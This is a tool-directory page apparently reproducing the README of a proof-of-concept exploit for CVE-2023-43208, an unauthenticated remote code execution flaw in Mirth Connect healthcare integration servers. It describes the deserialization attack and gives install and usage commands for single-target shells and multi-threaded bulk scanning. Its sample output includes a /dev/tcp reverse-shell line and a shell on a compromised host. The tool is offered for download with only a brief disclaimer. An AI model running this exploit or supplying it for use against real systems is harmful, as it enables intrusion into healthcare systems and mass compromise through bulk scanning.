Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-43208 — Unauthenticated RCE exploit for CVE-2023-43208 in Mirth Connect via XML deserialization, with version detection, bulk scanning, and interactive PTY shell. | Kitploit
Tools/GitHubGitHub/4nuxd/cve-2023-43208
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHub4nuxd/cve-2023-43208

CVE-2023-43208

Unauthenticated RCE exploit for CVE-2023-43208 in Mirth Connect via XML deserialization, with version detection, bulk scanning, and interactive PTY shell.

View Repository
126 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-43208 — Mirth Connect RCE

Python CVE Platform

Proof-of-Concept exploit for CVE-2023-43208, an unauthenticated Remote Code Execution vulnerability in Mirth Connect versions prior to 4.4.1.


Description

Mirth Connect is a widely deployed open-source healthcare integration engine. This vulnerability leverages a Java deserialization flaw via the /api/users endpoint using a crafted XML payload chaining Apache Commons Collections gadgets to achieve unauthenticated RCE.

The enhanced version replaces the original pwncat listener with a fully dependency-free interactive PTY shell using Python builtins only (socket, select, , ). The shell is automatically upgraded to a full PTY on connection.

tty
termios

Affected Versions

SoftwareVulnerable VersionsFixed Version
Mirth Connect< 4.4.14.4.1+

Features

  • Automatic Mirth Connect instance detection
  • Version fingerprinting and vulnerability check
  • Unauthenticated RCE via XML deserialization payload
  • Auto PTY shell upgrade (python3/python/script fallback)
  • Correct terminal size propagation (stty rows/cols)
  • Bulk scanner with multi-threading support
  • Output vulnerable targets to file
  • No pwncat dependency — stdlib only for the listener

Installation

root@kitploit:~
git clone https://github.com/yourrepo/CVE-2023-43208
cd CVE-2023-43208
pip install -r requirements.txt

Requirements

root@kitploit:~
requests
packaging
rich
alive-progress

Usage

Single Target — Get a Shell

root@kitploit:~
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <PORT>

Single Target — With ngrok / Bind Port

root@kitploit:~
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <NGROK_PORT> -bp <LOCAL_PORT>

Bulk Scan from File

root@kitploit:~
python3 CVE-2023-43208.py -f targets.txt -t 50 -o vulnerable.txt

Arguments

FlagDescription
-u, --urlTarget URL
-lh, --lhostYour listening IP
-lp, --lportYour listening port
-bp, --bindportBind port override (useful with ngrok)
-f, --fileFile containing list of target URLs
-o, --outputSave vulnerable targets to file
-t, --threadsNumber of threads for scanning (default: 50)

Example Output

root@kitploit:~
[*] Setting up listener on 10.10.15.202:4444 and launching exploit...
[*] Waiting for incoming connection on port 4444...
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.5.3
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/...'
[*] Launching exploit against https://10.129.5.3...
[+] Received connection from 10.129.5.3:59640
[+] Shell opened! Upgrading to PTY...

root@mirth:/# 

Disclaimer

This tool is intended for authorized penetration testing and educational purposes only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal.
The authors are not responsible for any misuse or damage caused by this tool.


Credits

  • Coded by: K3ysTr0K3R and Chocapikk
  • Enhanced by: 4nuxd
Download Tool